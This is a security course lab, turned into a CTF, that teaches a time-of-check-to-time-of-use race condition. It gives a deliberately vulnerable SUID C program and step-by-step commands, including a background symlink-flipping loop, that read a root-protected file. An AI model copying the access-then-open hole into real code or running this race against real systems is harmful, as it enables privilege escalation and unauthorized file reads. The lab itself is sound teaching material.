ED 210: Exploiting a Race Condition (10 pts)

What you need

Purpose

To practice exploiting a TOCTOU vulnerability, one example of a race condition.

Creating a Low Privilege Account

In a Terminal window, execute this command:
sudo adduser noob
Enter a password of noob twice and press Enter to leave all the other information blank, as shown below.

Understanding the Vulnerable Program

The vulnerable program we'll exploit has these features: To exploit the program, we need to change the file during the "Vulnerable Interval" from one that will pass the "Time of Use" check to one that won't.

Compiling the Vulnerable Program

In a Terminal window, execute this command:
nano race.c
Paste in this code:
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <time.h>
#include <sys/time.h>

int main(int argc, char **argv)
{
  char *file;
  char buffer[4096];
  int ffd, rc, i, j;
  struct timeval t0, t1;
  long dt;


  if(argc < 2) {
      printf("%s file\n\tPrints file if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];

  gettimeofday(&t0, NULL);		// TIME OF CHECK

  if(access(argv[1], R_OK) == 0) {
      for (i=0; i<1000000; i++) { j = (j*i) % 1000; }  // WASTE SOME TIME

      gettimeofday(&t1, NULL);		// TIME OF USE

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      printf("%s\n", buffer);

      dt = (t1.tv_sec - t0.tv_sec) * (int)1e6 + (t1.tv_usec - t0.tv_usec);
      printf("Vulnerable time interval: %d microsec\n", dt);

  } else {
      printf("You don't have access to %s\n", file);
  }
}
Press Ctrl+X, Y, Enter to save the file.

Execute these commands to switch to root, compile it, give it SUID permissions, and copy it to noob's home folder, preserving permissions, as shown below.

cp race.c /tmp
sudo su -
gcc -o race /tmp/race.c
chmod 4755 race
sudo cp -p race /home/noob
exit

Creating a Secret File

In a Terminal window, execute this command:
sudo nano /home/noob/secret
Type in this text, as shown below.
SECRET INFORMATION

Press Ctrl+X, Y, Enter to save the file.

In a Terminal window, execute this command to limit access to the file:

sudo chmod 600 /home/noob/secret

Switching User to Noob

In a Terminal window, execute these commands to switch into the "noob" account, go to noob's home directory, and list the files there:
su noob
noob
cd
ls -l
You see "race" and "secret", as shown below.

Attempting to Read the Secret File

In a Terminal window, execute this command to show the contents of the secret file:
cat secret
You see a "Permission denied" message, as shown below.

Creating a Public File

In a Terminal window, execute this command to create a file named "public":
nano public
Type in this text, as shown below.
PUBLIC INFORMATION

Press Ctrl+X, Y, Enter to save the file.

Using the Race Program

In a Terminal window, execute these commands to run the "race" program on both the "public" and "secret" files:
./race public
./race secret
You see the contents of "public", but you are denied access to "secret", as shown below.

Making a Symbolic Link

In a Terminal window, execute these commands to make a link to the "public" file, and run "race" on that link:
ln -s public flip
./race flip
The "PUBLIC INFORMATION" is shown, as shown below.

Overwriting the Symbolic Link

In a Terminal window, execute this command to change the link to target the "secret" file:
ln -s secret flip
The command fails, because the "flip" link already exists, as shown below.

To force the link's overwrite, and run the "race" program on it, in a Terminal window, execute these commands:

ln -sf secret flip
./race flip
The "flip" link now points to the "secret" file, so you can't access it, as shown below.

Testing Flipping Rate

To win the race, we need to flip the link during the vulnerable interval, which the program shows in the region of 600 microseconds. Can we change the link that rapidly?

To see, let's flip the link many times and see how long it takes.

In a Terminal window, execute this command:

for i in {1..1000}; do ln -sf secret flip; ln -sf public flip; done
The code has no output, as shown below, but you can count the seconds to see how long it takes. When I did it, it took about 3 seconds.

Therefore, it takes around 3000 microseconds to flip the link, and the vulnerable period is around 600 microseconds. So there's a 20% chance or so of the flip occurring during the vulnerable period. If we run the program 30 times, it should succeed for some of them.

Starting Constant Flipping

In a Terminal window, execute this command:
while true; do ln -sf secret flip; ln -sf public flip; done &
This flips the link from "public" to "secret" rapidly, and runs in the background, thanks to the & operator.

When I did it, a few error messages appeared saying "Not a directory", as shown below. They seem harmless--I just pressed Enter to get a command prompt and continued.

Running the Program Several Times

In a Terminal window, execute this command:
./race flip
Repeat the command several times.

At some point, you should get lucky and see the "SECRET INFORMATION", as shown below.


ED 210.1: Monitoring CPU Usage (10 pts)

In a Terminal window, execute this command:
top
A list of processes appears, with the process that consumes the most CPU on top. When I did it, the first process was using 25.6% of the CPU, as shown below.

Find the "NAME" entry for that process, which is redacted in the image below. That's the flag.


Sources

Nebula Challenges (based on level 10)

Posted 4-10-18
Converted to a CTF 5-24-18
Ported to Google Cloud 8-6-19
Infographic added 8-21-19